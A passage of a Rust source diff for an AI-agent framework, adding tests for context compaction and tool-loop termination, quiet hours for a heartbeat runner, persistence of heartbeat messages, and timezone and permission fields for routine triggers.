assert_eq!(compacted[2].content, "Third question"); + assert_eq!(compacted[3].role, Role::Assistant); // tool call + assert_eq!(compacted[4].role, Role::Tool); // tool result + } + + #[test] + fn test_compact_preserves_multiple_system_messages() { + let messages = vec![ + ChatMessage::system("System prompt"), + ChatMessage::system("Skill context"), + ChatMessage::user("Old question"), + ChatMessage::assistant("Old answer"), + ChatMessage::system("Nudge message"), + ChatMessage::user("Current question"), + ]; + + let compacted = compact_messages_for_retry(&messages); + + // 3 system messages + compaction note + last user message + assert_eq!(compacted.len(), 5); + assert_eq!(compacted[0].content, "System prompt"); + assert_eq!(compacted[1].content, "Skill context"); + assert_eq!(compacted[2].content, "Nudge message"); + assert!(compacted[3].content.contains("compacted")); // note + assert_eq!(compacted[4].content, "Current question"); + } + + #[test] + fn test_compact_single_user_message_keeps_everything() { + let messages = vec![ + ChatMessage::system("System prompt"), + ChatMessage::user("Only question"), + ]; + + let compacted = compact_messages_for_retry(&messages); + + // system + compaction note + user + assert_eq!(compacted.len(), 3); + assert_eq!(compacted[0].content, "System prompt"); + assert!(compacted[1].content.contains("compacted")); + assert_eq!(compacted[2].content, "Only question"); + } + + #[test] + fn test_compact_no_user_messages_keeps_non_system() { + let messages = vec![ + ChatMessage::system("System prompt"), + ChatMessage::assistant("Stray assistant message"), + ]; + + let compacted = compact_messages_for_retry(&messages); + + // system + assistant (no user message found, keeps all non-system) + assert_eq!(compacted.len(), 2); + assert_eq!(compacted[0].role, Role::System); + assert_eq!(compacted[1].role, Role::Assistant); + } + + #[test] + fn test_compact_drops_old_history_but_keeps_current_turn_tools() { + // Simulate a multi-turn conversation where the current turn has + // multiple tool calls and results. + let messages = vec![ + ChatMessage::system("System prompt"), + ChatMessage::user("Question 1"), + ChatMessage::assistant("Answer 1"), + ChatMessage::user("Question 2"), + ChatMessage::assistant("Answer 2"), + ChatMessage::user("Question 3"), + ChatMessage::assistant("Answer 3"), + ChatMessage::user("Current question"), + ChatMessage::assistant_with_tool_calls( + None, + vec![ + ToolCall { + id: "c1".to_string(), + name: "http".to_string(), + arguments: serde_json::json!({}), + }, + ToolCall { + id: "c2".to_string(), + name: "echo".to_string(), + arguments: serde_json::json!({}), + }, + ], + ), + ChatMessage::tool_result("c1", "http", "response data"), + ChatMessage::tool_result("c2", "echo", "echoed"), + ]; + + let compacted = compact_messages_for_retry(&messages); + + // system + note + user + assistant(tool_calls) + tool_result + tool_result + assert_eq!(compacted.len(), 6); + assert_eq!(compacted[0].content, "System prompt"); + assert!(compacted[1].content.contains("compacted")); + assert_eq!(compacted[2].content, "Current question"); + assert!(compacted[3].tool_calls.is_some()); // assistant with tool calls + assert_eq!(compacted[4].name.as_deref(), Some("http")); + assert_eq!(compacted[5].name.as_deref(), Some("echo")); + } + + #[test] + fn test_compact_no_duplicate_system_after_last_user() { + // A system nudge message injected AFTER the last user message must + // not be duplicated — it should only appear once (via extend_from_slice). + let messages = vec![ + ChatMessage::system("System prompt"), + ChatMessage::user("Question"), + ChatMessage::system("Nudge: wrap up"), + ChatMessage::assistant_with_tool_calls( + None, + vec![ToolCall { + id: "c1".to_string(), + name: "echo".to_string(), + arguments: serde_json::json!({}), + }], + ), + ChatMessage::tool_result("c1", "echo", "done"), + ]; + + let compacted = compact_messages_for_retry(&messages); + + // system prompt + note + user + nudge + assistant + tool_result = 6 + assert_eq!(compacted.len(), 6); + assert_eq!(compacted[0].content, "System prompt"); + assert!(compacted[1].content.contains("compacted")); + assert_eq!(compacted[2].content, "Question"); + assert_eq!(compacted[3].content, "Nudge: wrap up"); // not duplicated + assert_eq!(compacted[4].role, Role::Assistant); + assert_eq!(compacted[5].role, Role::Tool); + + // Verify "Nudge: wrap up" appears exactly once + let nudge_count = compacted + .iter() + .filter(|m| m.content == "Nudge: wrap up") + .count(); + assert_eq!(nudge_count, 1); + } + + // === QA Plan P2 - 2.7: Context length recovery === + + #[tokio::test] + async fn test_context_length_recovery_via_compaction_and_retry() { + // Simulates the dispatcher's recovery path: + // 1. Provider returns ContextLengthExceeded + // 2. compact_messages_for_retry reduces context + // 3. Retry with compacted messages succeeds + use crate::llm::Reasoning; + use crate::testing::StubLlm; + + let stub = Arc::new(StubLlm::failing_non_transient("ctx-bomb")); + + let reasoning = Reasoning::new(stub.clone()); + + // Build a fat context with lots of history. + let messages = vec![ + ChatMessage::system("You are a helpful assistant."), + ChatMessage::user("First question"), + ChatMessage::assistant("First answer"), + ChatMessage::user("Second question"), + ChatMessage::assistant("Second answer"), + ChatMessage::user("Third question"), + ChatMessage::assistant("Third answer"), + ChatMessage::user("Current request"), + ]; + + let context = crate::llm::ReasoningContext::new().with_messages(messages.clone()); + + // Step 1: First call fails with ContextLengthExceeded. + let err = reasoning.respond_with_tools(&context).await.unwrap_err(); + assert!( + matches!(err, crate::error::LlmError::ContextLengthExceeded { .. }), + "Expected ContextLengthExceeded, got: {:?}", + err + ); + assert_eq!(stub.calls(), 1); + + // Step 2: Compact messages (same as dispatcher lines 226). + let compacted = compact_messages_for_retry(&messages); + // Should have dropped the old history, kept system + note + last user. + assert!(compacted.len() < messages.len()); + assert_eq!(compacted.last().unwrap().content, "Current request"); + + // Step 3: Switch provider to success and retry. + stub.set_failing(false); + let retry_context = crate::llm::ReasoningContext::new().with_messages(compacted); + + let result = reasoning.respond_with_tools(&retry_context).await; + assert!(result.is_ok(), "Retry after compaction should succeed"); + assert_eq!(stub.calls(), 2); + } + + // === QA Plan P2 - 4.3: Dispatcher loop guard tests === + + /// LLM provider that always returns tool calls when tools are available, + /// and text when tools are empty (simulating force_text stripping tools). + struct AlwaysToolCallProvider; + + #[async_trait] + impl LlmProvider for AlwaysToolCallProvider { + fn model_name(&self) -> &str { + "always-tool-call" + } + + fn cost_per_token(&self) -> (Decimal, Decimal) { + (Decimal::ZERO, Decimal::ZERO) + } + + async fn complete( + &self, + _request: CompletionRequest, + ) -> Result { + Ok(CompletionResponse { + content: "forced text response".to_string(), + input_tokens: 0, + output_tokens: 5, + finish_reason: FinishReason::Stop, + cache_read_input_tokens: 0, + cache_creation_input_tokens: 0, + }) + } + + async fn complete_with_tools( + &self, + request: ToolCompletionRequest, + ) -> Result { + if request.tools.is_empty() { + // No tools = force_text mode; return text. + return Ok(ToolCompletionResponse { + content: Some("forced text response".to_string()), + tool_calls: Vec::new(), + input_tokens: 0, + output_tokens: 5, + finish_reason: FinishReason::Stop, + cache_read_input_tokens: 0, + cache_creation_input_tokens: 0, + }); + } + // Tools available: always call one. + Ok(ToolCompletionResponse { + content: None, + tool_calls: vec![ToolCall { + id: format!("call_{}", uuid::Uuid::new_v4()), + name: "echo".to_string(), + arguments: serde_json::json!({"message": "looping"}), + }], + input_tokens: 0, + output_tokens: 5, + finish_reason: FinishReason::ToolUse, + cache_read_input_tokens: 0, + cache_creation_input_tokens: 0, + }) + } + } + + #[tokio::test] + async fn force_text_prevents_infinite_tool_call_loop() { + // Verify that Reasoning with force_text=true returns text even when + // the provider would normally return tool calls. + use crate::llm::{Reasoning, ReasoningContext, RespondResult, ToolDefinition}; + + let provider = Arc::new(AlwaysToolCallProvider); + let reasoning = Reasoning::new(provider); + + let tool_def = ToolDefinition { + name: "echo".to_string(), + description: "Echo a message".to_string(), + parameters: serde_json::json!({"type": "object", "properties": {"message": {"type": "string"}}}), + }; + + // Without force_text: provider returns tool calls. + let ctx_normal = ReasoningContext::new() + .with_messages(vec![ChatMessage::user("hello")]) + .with_tools(vec![tool_def.clone()]); + let output = reasoning.respond_with_tools(&ctx_normal).await.unwrap(); + assert!( + matches!(output.result, RespondResult::ToolCalls { .. }), + "Without force_text, should get tool calls" + ); + + // With force_text: provider must return text (tools stripped). + let mut ctx_forced = ReasoningContext::new() + .with_messages(vec![ChatMessage::user("hello")]) + .with_tools(vec![tool_def]); + ctx_forced.force_text = true; + let output = reasoning.respond_with_tools(&ctx_forced).await.unwrap(); + assert!( + matches!(output.result, RespondResult::Text(_)), + "With force_text, should get text response, got: {:?}", + output.result + ); + } + + #[test] + fn iteration_bounds_guarantee_termination() { + // Verify the arithmetic that guards against infinite loops: + // force_text_at = max_tool_iterations + // nudge_at = max_tool_iterations - 1 + // hard_ceiling = max_tool_iterations + 1 + for max_iter in [1_usize, 2, 5, 10, 50] { + let force_text_at = max_iter; + let nudge_at = max_iter.saturating_sub(1); + let hard_ceiling = max_iter + 1; + + // force_text_at must be reachable (> 0) + assert!( + force_text_at > 0, + "force_text_at must be > 0 for max_iter={max_iter}" + ); + + // nudge comes before or at the same time as force_text + assert!( + nudge_at <= force_text_at, + "nudge_at ({nudge_at}) > force_text_at ({force_text_at})" + ); + + // hard ceiling is strictly after force_text + assert!( + hard_ceiling > force_text_at, + "hard_ceiling ({hard_ceiling}) not > force_text_at ({force_text_at})" + ); + + // Simulate iteration: every iteration from 1..=hard_ceiling + // At force_text_at, force_text=true (should produce text and break). + // At hard_ceiling, the error fires (safety net). + let mut hit_force_text = false; + let mut hit_ceiling = false; + for iteration in 1..=hard_ceiling { + if iteration >= force_text_at { + hit_force_text = true; + } + if iteration > max_iter + 1 { + hit_ceiling = true; + } + } + assert!( + hit_force_text, + "force_text never triggered for max_iter={max_iter}" + ); + // The ceiling should only fire if force_text somehow didn't break + assert!( + hit_ceiling || hard_ceiling <= max_iter + 1, + "ceiling logic inconsistent for max_iter={max_iter}" + ); + } + } + + /// LLM provider that always returns calls to a nonexistent tool, regardless + /// of whether tools are available. When tools are stripped (force_text), it + /// returns text. + struct FailingToolCallProvider; + + #[async_trait] + impl LlmProvider for FailingToolCallProvider { + fn model_name(&self) -> &str { + "failing-tool-call" + } + + fn cost_per_token(&self) -> (Decimal, Decimal) { + (Decimal::ZERO, Decimal::ZERO) + } + + async fn complete( + &self, + _request: CompletionRequest, + ) -> Result { + Ok(CompletionResponse { + content: "forced text".to_string(), + input_tokens: 0, + output_tokens: 2, + finish_reason: FinishReason::Stop, + cache_read_input_tokens: 0, + cache_creation_input_tokens: 0, + }) + } + + async fn complete_with_tools( + &self, + request: ToolCompletionRequest, + ) -> Result { + if request.tools.is_empty() { + return Ok(ToolCompletionResponse { + content: Some("forced text".to_string()), + tool_calls: Vec::new(), + input_tokens: 0, + output_tokens: 2, + finish_reason: FinishReason::Stop, + cache_read_input_tokens: 0, + cache_creation_input_tokens: 0, + }); + } + // Always call a tool that does not exist in the registry. + Ok(ToolCompletionResponse { + content: None, + tool_calls: vec![ToolCall { + id: format!("call_{}", uuid::Uuid::new_v4()), + name: "nonexistent_tool".to_string(), + arguments: serde_json::json!({}), + }], + input_tokens: 0, + output_tokens: 5, + finish_reason: FinishReason::ToolUse, + cache_read_input_tokens: 0, + cache_creation_input_tokens: 0, + }) + } + } + + /// Helper to build a test Agent with a custom LLM provider and + /// `max_tool_iterations` override. + fn make_test_agent_with_llm(llm: Arc, max_tool_iterations: usize) -> Agent { + let deps = AgentDeps { + store: None, + llm, + cheap_llm: None, + safety: Arc::new(SafetyLayer::new(&SafetyConfig { + max_output_length: 100_000, + injection_check_enabled: false, + })), + tools: Arc::new(ToolRegistry::new()), + workspace: None, + extension_manager: None, + skill_registry: None, + skill_catalog: None, + skills_config: SkillsConfig::default(), + hooks: Arc::new(HookRegistry::new()), + cost_guard: Arc::new(CostGuard::new(CostGuardConfig::default())), + sse_tx: None, + http_interceptor: None, + transcription: None, + document_extraction: None, + }; + + Agent::new( + AgentConfig { + name: "test-agent".to_string(), + max_parallel_jobs: 1, + job_timeout: Duration::from_secs(60), + stuck_threshold: Duration::from_secs(60), + repair_check_interval: Duration::from_secs(30), + max_repair_attempts: 1, + use_planning: false, + session_idle_timeout: Duration::from_secs(300), + allow_local_tools: false, + max_cost_per_day_cents: None, + max_actions_per_hour: None, + max_tool_iterations, + auto_approve_tools: true, + default_timezone: "UTC".to_string(), + }, + deps, + Arc::new(ChannelManager::new()), + None, + None, + None, + Some(Arc::new(ContextManager::new(1))), + None, + ) + } + + /// Regression test for the infinite loop bug (PR #252) where `continue` + /// skipped the index increment. When every tool call fails (e.g., tool not + /// found), the dispatcher must still advance through all calls and + /// eventually terminate via the force_text / max_iterations guard. + #[tokio::test] + async fn test_dispatcher_terminates_with_all_tool_calls_failing() { + use crate::agent::session::Session; + use crate::channels::IncomingMessage; + use crate::llm::ChatMessage; + use tokio::sync::Mutex; + + let agent = make_test_agent_with_llm(Arc::new(FailingToolCallProvider), 5); + + let session = Arc::new(Mutex::new(Session::new("test-user"))); + + // Initialize a thread in the session so the loop can record tool calls. + let thread_id = { + let mut sess = session.lock().await; + sess.create_thread().id + }; + + let message = IncomingMessage::new("test", "test-user", "do something"); + let initial_messages = vec![ChatMessage::user("do something")]; + + // The dispatcher must terminate within 5 seconds. If there is an + // infinite loop bug (e.g., index not advancing on tool failure), the + // timeout will fire and the test will fail. + let result = tokio::time::timeout( + Duration::from_secs(5), + agent.run_agentic_loop(&message, session, thread_id, initial_messages), + ) + .await; + + assert!( + result.is_ok(), + "Dispatcher timed out -- possible infinite loop when all tool calls fail" + ); + + // The loop should complete (either with a text response from force_text, + // or an error from the hard ceiling). Both are acceptable termination. + let inner = result.unwrap(); + assert!( + inner.is_ok(), + "Dispatcher returned an error: {:?}", + inner.err() + ); + } + + /// Verify that the max_iterations guard terminates the loop even when the + /// LLM always returns tool calls and those calls succeed. + #[tokio::test] + async fn test_dispatcher_terminates_with_max_iterations() { + use crate::agent::session::Session; + use crate::channels::IncomingMessage; + use crate::llm::ChatMessage; + use crate::tools::builtin::EchoTool; + use tokio::sync::Mutex; + + // Use AlwaysToolCallProvider which calls "echo" on every turn. + // Register the echo tool so the calls succeed. + let llm: Arc = Arc::new(AlwaysToolCallProvider); + let max_iter = 3; + let agent = { + let deps = AgentDeps { + store: None, + llm, + cheap_llm: None, + safety: Arc::new(SafetyLayer::new(&SafetyConfig { + max_output_length: 100_000, + injection_check_enabled: false, + })), + tools: { + let registry = Arc::new(ToolRegistry::new()); + registry.register_sync(Arc::new(EchoTool)); + registry + }, + workspace: None, + extension_manager: None, + skill_registry: None, + skill_catalog: None, + skills_config: SkillsConfig::default(), + hooks: Arc::new(HookRegistry::new()), + cost_guard: Arc::new(CostGuard::new(CostGuardConfig::default())), + sse_tx: None, + http_interceptor: None, + transcription: None, + document_extraction: None, + }; + + Agent::new( + AgentConfig { + name: "test-agent".to_string(), + max_parallel_jobs: 1, + job_timeout: Duration::from_secs(60), + stuck_threshold: Duration::from_secs(60), + repair_check_interval: Duration::from_secs(30), + max_repair_attempts: 1, + use_planning: false, + session_idle_timeout: Duration::from_secs(300), + allow_local_tools: false, + max_cost_per_day_cents: None, + max_actions_per_hour: None, + max_tool_iterations: max_iter, + auto_approve_tools: true, + default_timezone: "UTC".to_string(), + }, + deps, + Arc::new(ChannelManager::new()), + None, + None, + None, + Some(Arc::new(ContextManager::new(1))), + None, + ) + }; + + let session = Arc::new(Mutex::new(Session::new("test-user"))); + let thread_id = { + let mut sess = session.lock().await; + sess.create_thread().id + }; + + let message = IncomingMessage::new("test", "test-user", "keep calling tools"); + let initial_messages = vec![ChatMessage::user("keep calling tools")]; + + // Even with an LLM that always wants to call tools, the dispatcher + // must terminate within the timeout thanks to force_text at + // max_tool_iterations. + let result = tokio::time::timeout( + Duration::from_secs(5), + agent.run_agentic_loop(&message, session, thread_id, initial_messages), + ) + .await; + + assert!( + result.is_ok(), + "Dispatcher timed out -- max_iterations guard failed to terminate the loop" + ); + + // Should get a successful text response (force_text kicks in). + let inner = result.unwrap(); + assert!( + inner.is_ok(), + "Dispatcher returned an error: {:?}", + inner.err() + ); + + // Verify we got a text response. + match inner.unwrap() { + super::AgenticLoopResult::Response(text) => { + assert!(!text.is_empty(), "Expected non-empty forced text response"); + } + super::AgenticLoopResult::NeedApproval { .. } => { + panic!("Expected text response, got NeedApproval"); + } + } + } + + #[test] + fn test_strip_internal_tool_call_text_removes_markers() { + let input = "[Called tool search({\"query\": \"test\"})]\nHere is the answer."; + let result = super::strip_internal_tool_call_text(input); + assert_eq!(result, "Here is the answer."); + } + + #[test] + fn test_strip_internal_tool_call_text_removes_returned_markers() { + let input = "[Tool search returned: some result]\nSummary of findings."; + let result = super::strip_internal_tool_call_text(input); + assert_eq!(result, "Summary of findings."); + } + + #[test] + fn test_strip_internal_tool_call_text_all_markers_yields_fallback() { + let input = "[Called tool search({\"query\": \"test\"})]\n[Tool search returned: error]"; + let result = super::strip_internal_tool_call_text(input); + assert!(result.contains("wasn't able to complete")); + } + + #[test] + fn test_strip_internal_tool_call_text_preserves_normal_text() { + let input = "This is a normal response with [brackets] inside."; + let result = super::strip_internal_tool_call_text(input); + assert_eq!(result, input); + } + + #[test] + fn test_tool_error_format_includes_tool_name() { + // Regression test for issue #487: tool errors sent to the LLM should + // include the tool name so the model can reason about which tool failed + // and try alternatives. + let tool_name = "http"; + let err = crate::error::ToolError::ExecutionFailed { + name: tool_name.to_string(), + reason: "connection refused".to_string(), + }; + let formatted = format!("Tool '{}' failed: {}", tool_name, err); + assert!( + formatted.contains("Tool 'http' failed:"), + "Error should identify the tool by name, got: {formatted}" + ); + assert!( + formatted.contains("connection refused"), + "Error should include the underlying reason, got: {formatted}" + ); } } diff --git a/src/agent/heartbeat.rs b/src/agent/heartbeat.rs index ff35955d..4c05c1d5 100644 --- a/src/agent/heartbeat.rs +++ b/src/agent/heartbeat.rs @@ -29,8 +29,10 @@ use std::time::Duration; use tokio::sync::mpsc; use crate::channels::OutgoingResponse; -use crate::llm::{ChatMessage, CompletionRequest, FinishReason, LlmProvider}; +use crate::db::Database; +use crate::llm::{ChatMessage, CompletionRequest, LlmProvider, Reasoning}; use crate::workspace::Workspace; +use crate::workspace::hygiene::HygieneConfig; /// Configuration for the heartbeat runner. #[derive(Debug, Clone)] @@ -45,6 +47,12 @@ pub struct HeartbeatConfig { pub notify_user_id: Option, /// Channel to notify on heartbeat findings. pub notify_channel: Option, + /// Hour (0-23) when quiet hours start. + pub quiet_hours_start: Option, + /// Hour (0-23) when quiet hours end. + pub quiet_hours_end: Option, + /// Timezone for quiet hours evaluation (IANA name). + pub timezone: Option, } impl Default for HeartbeatConfig { @@ -55,6 +63,9 @@ impl Default for HeartbeatConfig { max_failures: 3, notify_user_id: None, notify_channel: None, + quiet_hours_start: None, + quiet_hours_end: None, + timezone: None, } } } @@ -72,6 +83,26 @@ impl HeartbeatConfig { self } + /// Check whether the current time falls within configured quiet hours. + pub fn is_quiet_hours(&self) -> bool { + use chrono::Timelike; + let (Some(start), Some(end)) = (self.quiet_hours_start, self.quiet_hours_end) else { + return false; + }; + let tz = self + .timezone + .as_deref() + .and_then(crate::timezone::parse_timezone) + .unwrap_or(chrono_tz::UTC); + let now_hour = crate::timezone::now_in_tz(tz).hour(); + if start <= end { + now_hour >= start && now_hour < end + } else { + // Wraps midnight, e.g. 22..06 + now_hour >= start || now_hour < end + } + } + /// Set the notification target. pub fn with_notify(mut self, user_id: impl Into, channel: impl Into) -> Self { self.notify_user_id = Some(user_id.into()); @@ -96,9 +127,11 @@ pub enum HeartbeatResult { /// Heartbeat runner for proactive periodic execution. pub struct HeartbeatRunner { config: HeartbeatConfig, + hygiene_config: HygieneConfig, workspace: Arc, llm: Arc, response_tx: Option>, + store: Option>, consecutive_failures: u32, } @@ -106,14 +139,17 @@ impl HeartbeatRunner { /// Create a new heartbeat runner. pub fn new( config: HeartbeatConfig, + hygiene_config: HygieneConfig, workspace: Arc, llm: Arc, ) -> Self { Self { config, + hygiene_config, workspace, llm, response_tx: None, + store: None, consecutive_failures: 0, } } @@ -124,6 +160,12 @@ impl HeartbeatRunner { self } + /// Set the database store for persistent heartbeat conversations. + pub fn with_store(mut self, store: Arc) -> Self { + self.store = Some(store); + self + } + /// Run the heartbeat loop. /// /// This runs forever, checking periodically based on the configured interval. @@ -145,6 +187,29 @@ impl HeartbeatRunner { loop { interval.tick().await; + // Skip during quiet hours + if self.config.is_quiet_hours() { + tracing::debug!("Heartbeat skipped: quiet hours"); + continue; + } + + // Run memory hygiene in the background so it never delays the + // heartbeat checklist. Failures are logged inside run_if_due. + let hygiene_workspace = Arc::clone(&self.workspace); + let hygiene_config = self.hygiene_config.clone(); + tokio::spawn(async move { + let report = + crate::workspace::hygiene::run_if_due(&hygiene_workspace, &hygiene_config) + .await; + if report.had_work() { + tracing::info!( + daily_logs_deleted = report.daily_logs_deleted, + conversation_docs_deleted = report.conversation_docs_deleted, + "heartbeat: memory hygiene deleted stale documents" + ); + } + }); + match self.check_heartbeat().await { HeartbeatResult::Ok => { tracing::debug!("Heartbeat OK"); @@ -238,25 +303,18 @@ impl HeartbeatRunner { .with_max_tokens(max_tokens) .with_temperature(0.3); - let response = match self.llm.complete(request).await { + let reasoning = Reasoning::new(self.llm.clone()); + let (content, _usage) = match reasoning.complete(request).await { Ok(r) => r, Err(e) => return HeartbeatResult::Failed(format!("LLM call failed: {}", e)), }; - let content = response.content.trim(); + let content = content.trim(); // Guard against empty content. Reasoning models (e.g. GLM-4.7) may // burn all output tokens on chain-of-thought and return content: null. if content.is_empty() { - return if response.finish_reason == FinishReason::Length { - HeartbeatResult::Failed( - "LLM response was truncated (finish_reason=length) with no content. \ - The model may have exhausted its token budget on reasoning." - .to_string(), - ) - } else { - HeartbeatResult::Failed("LLM returned empty content.".to_string()) - }; + return HeartbeatResult::Failed("LLM returned empty content.".to_string()); } // Check if nothing needs attention @@ -274,9 +332,33 @@ impl HeartbeatRunner { return; }; + let user_id = self.config.notify_user_id.as_deref().unwrap_or("default"); + + // Persist to heartbeat conversation and get thread_id + let thread_id = if let Some(ref store) = self.store { + match store.get_or_create_heartbeat_conversation(user_id).await { + Ok(conv_id) => { + if let Err(e) = store + .add_conversation_message(conv_id, "assistant", message) + .await + { + tracing::error!("Failed to persist heartbeat message: {}", e); + } + Some(conv_id.to_string()) + } + Err(e) => { + tracing::error!("Failed to get heartbeat conversation: {}", e); + None + } + } + } else { + None + }; + let response = OutgoingResponse { content: format!("🔔 *Heartbeat Alert*\n\n{}", message), - thread_id: None, + thread_id, + attachments: Vec::new(), metadata: serde_json::json!({ "source": "heartbeat", }), @@ -332,14 +414,19 @@ fn strip_html_comments(content: &str) -> String { /// Returns a handle that can be used to stop the runner. pub fn spawn_heartbeat( config: HeartbeatConfig, + hygiene_config: HygieneConfig, workspace: Arc, llm: Arc, response_tx: Option>, + store: Option>, ) -> tokio::task::JoinHandle<()> { - let mut runner = HeartbeatRunner::new(config, workspace, llm); + let mut runner = HeartbeatRunner::new(config, hygiene_config, workspace, llm); if let Some(tx) = response_tx { runner = runner.with_response_channel(tx); } + if let Some(s) = store { + runner = runner.with_store(s); + } tokio::spawn(async move { runner.run().await; @@ -474,4 +561,98 @@ mod tests { let content = "\nActual task here"; assert!(!is_effectively_empty(content)); } + + // ==================== quiet hours ==================== + + #[test] + fn test_quiet_hours_inside() { + use chrono::{Timelike, Utc}; + + let now_utc = Utc::now(); + let hour = now_utc.hour(); + let start = hour; + let end = (hour + 1) % 24; + + let config = HeartbeatConfig { + quiet_hours_start: Some(start), + quiet_hours_end: Some(end), + timezone: Some("UTC".to_string()), + ..HeartbeatConfig::default() + }; + // Current UTC hour is inside [start, end) by construction + assert!(config.is_quiet_hours()); + } + + #[test] + fn test_quiet_hours_outside() { + use chrono::{Timelike, Utc}; + + let now_utc = Utc::now(); + let hour = now_utc.hour(); + let start = (hour + 1) % 24; + let end = (hour + 2) % 24; + + let config = HeartbeatConfig { + quiet_hours_start: Some(start), + quiet_hours_end: Some(end), + timezone: Some("UTC".to_string()), + ..HeartbeatConfig::default() + }; + // Current UTC hour is outside [start, end) by construction + assert!(!config.is_quiet_hours()); + } + + #[test] + fn test_quiet_hours_wraparound_excludes_now() { + use chrono::{Timelike, Utc}; + + let now_utc = Utc::now(); + let hour = now_utc.hour(); + // Window covers all hours except the current one + let start = (hour + 1) % 24; + let end = hour; + + let config = HeartbeatConfig { + quiet_hours_start: Some(start), + quiet_hours_end: Some(end), + timezone: Some("UTC".to_string()), + ..HeartbeatConfig::default() + }; + assert!(!config.is_quiet_hours()); + } + + #[test] + fn test_quiet_hours_none_configured() { + let config = HeartbeatConfig::default(); + assert!(!config.is_quiet_hours()); + } + + #[test] + fn test_quiet_hours_same_start_end() { + let config = HeartbeatConfig { + quiet_hours_start: Some(10), + quiet_hours_end: Some(10), + timezone: Some("UTC".to_string()), + ..HeartbeatConfig::default() + }; + // start == end means zero-width window, should be false + assert!(!config.is_quiet_hours()); + } + + #[test] + fn test_spawn_heartbeat_accepts_store_param() { + // Regression: spawn_heartbeat must accept an optional Database store + // for persisting heartbeat notifications to a dedicated conversation. + // Compile-time check: the 7th parameter is `Option>`. + #[allow(clippy::type_complexity)] + let _fn_ptr: fn( + HeartbeatConfig, + HygieneConfig, + Arc, + Arc, + Option>, + Option>, + ) -> tokio::task::JoinHandle<()> = spawn_heartbeat; + let _ = _fn_ptr; + } } diff --git a/src/agent/mod.rs b/src/agent/mod.rs index d0c96bc1..895a551a 100644 --- a/src/agent/mod.rs +++ b/src/agent/mod.rs @@ -11,6 +11,7 @@ //! - Context compaction for long conversations mod agent_loop; +mod attachments; mod commands; pub mod compaction; pub mod context_monitor; @@ -44,6 +45,6 @@ pub use self_repair::{BrokenTool, RepairResult, RepairTask, SelfRepair, StuckJob pub use session::{PendingApproval, PendingAuth, Session, Thread, ThreadState, Turn, TurnState}; pub use session_manager::SessionManager; pub use submission::{Submission, SubmissionParser, SubmissionResult}; -pub use task::{Task, TaskContext, TaskHandler, TaskOutput, TaskStatus}; +pub use task::{Task, TaskContext, TaskHandler, TaskOutput}; pub use undo::{Checkpoint, UndoManager}; pub use worker::{Worker, WorkerDeps}; diff --git a/src/agent/routine.rs b/src/agent/routine.rs index 084a9b9f..fdd61012 100644 --- a/src/agent/routine.rs +++ b/src/agent/routine.rs @@ -26,6 +26,8 @@ use chrono::{DateTime, Utc}; use serde::{Deserialize, Serialize}; use uuid::Uuid; +use crate::error::RoutineError; + /// A routine is a named, persistent, user-owned task with a trigger and an action. #[derive(Debug, Clone, Serialize, Deserialize)] pub struct Routine { @@ -55,7 +57,11 @@ pub struct Routine { #[serde(tag = "type", rename_all = "snake_case")] pub enum Trigger { /// Fire on a cron schedule (e.g. "0 9 * * MON-FRI" or "every 2h"). - Cron { schedule: String }, + Cron { + schedule: String, + #[serde(default)] + timezone: Option, + }, /// Fire when a channel message matches a pattern. Event { /// Optional channel filter (e.g. "telegram", "slack"). @@ -86,21 +92,41 @@ impl Trigger { } /// Parse a trigger from its DB representation. - pub fn from_db(trigger_type: &str, config: serde_json::Value) -> Result { + pub fn from_db(trigger_type: &str, config: serde_json::Value) -> Result { match trigger_type { "cron" => { let schedule = config .get("schedule") .and_then(|v| v.as_str()) - .ok_or("cron trigger missing 'schedule'")? + .ok_or_else(|| RoutineError::MissingField { + context: "cron trigger".into(), + field: "schedule".into(), + })? .to_string(); - Ok(Trigger::Cron { schedule }) + let timezone = config + .get("timezone") + .and_then(|v| v.as_str()) + .and_then(|tz| { + if crate::timezone::parse_timezone(tz).is_some() { + Some(tz.to_string()) + } else { + tracing::warn!( + "Ignoring invalid timezone '{}' from DB for cron trigger", + tz + ); + None + } + }); + Ok(Trigger::Cron { schedule, timezone }) } "event" => { let pattern = config .get("pattern") .and_then(|v| v.as_str()) - .ok_or("event trigger missing 'pattern'")? + .ok_or_else(|| RoutineError::MissingField { + context: "event trigger".into(), + field: "pattern".into(), + })? .to_string(); let channel = config .get("channel") @@ -120,14 +146,19 @@ impl Trigger { Ok(Trigger::Webhook { path, secret }) } "manual" => Ok(Trigger::Manual), - other => Err(format!("unknown trigger type: {other}")), + other => Err(RoutineError::UnknownTriggerType { + trigger_type: other.to_string(), + }), } } /// Serialize trigger-specific config to JSON for DB storage. pub fn to_config_json(&self) -> serde_json::Value { match self { - Trigger::Cron { schedule } => serde_json::json!({ "schedule": schedule }), + Trigger::Cron { schedule, timezone } => serde_json::json!({ + "schedule": schedule, + "timezone": timezone, + }), Trigger::Event { channel, pattern } => serde_json::json!({ "pattern": pattern, "channel": channel, @@ -165,6 +196,11 @@ pub enum RoutineAction { /// Max reasoning iterations (default: 10). #[serde(default = "default_max_iterations")] max_iterations: u32, + /// Tool names pre-authorized for `Always`-approval tools (e.g. destructive + /// shell commands, cross-channel messaging). `UnlessAutoApproved` tools are + /// automatically permitted in routine jobs without listing them here. + #[serde(default)] + tool_permissions: Vec, }, } @@ -176,6 +212,19 @@ fn default_max_iterations() -> u32 { 10 } +/// Parse a `tool_permissions` JSON array into a `Vec`. +pub fn parse_tool_permissions(value: &serde_json::Value) -> Vec { + value + .get("tool_permissions") + .and_then(|v| v.as_array()) + .map(|arr| { + arr.iter() + .filter_map(|v| v.as_str().map(String::from)) + .collect() + }) + .unwrap_or_default() +} + impl RoutineAction { /// The string tag stored in the DB action_type column. pub fn type_tag(&self) -> &'static str { @@ -186,13 +235,16 @@ impl RoutineAction { } /// Parse an action from its DB representation. - pub fn from_db(action_type: &str, config: serde_json::Value) -> Result { + pub fn from_db(action_type: &str, config: serde_json::Value) -> Result { match action_type { "lightweight" => { let prompt = config .get("prompt") .and_then(|v| v.as_str()) - .ok_or("lightweight action missing 'prompt'")? + .ok_or_else(|| RoutineError::MissingField { + context: "lightweight action".into(), + field: "prompt".into(), + })? .to_string(); let context_paths = config .get("context_paths") @@ -217,25 +269,35 @@ impl RoutineAction { let title = config .get("title") .and_then(|v| v.as_str()) - .ok_or("full_job action missing 'title'")? + .ok_or_else(|| RoutineError::MissingField { + context: "full_job action".into(), + field: "title".into(), + })? .to_string(); let description = config .get("description") .and_then(|v| v.as_str()) - .ok_or("full_job action missing 'description'")? + .ok_or_else(|| RoutineError::MissingField { + context: "full_job action".into(), + field: "description".into(), + })? .to_string(); let 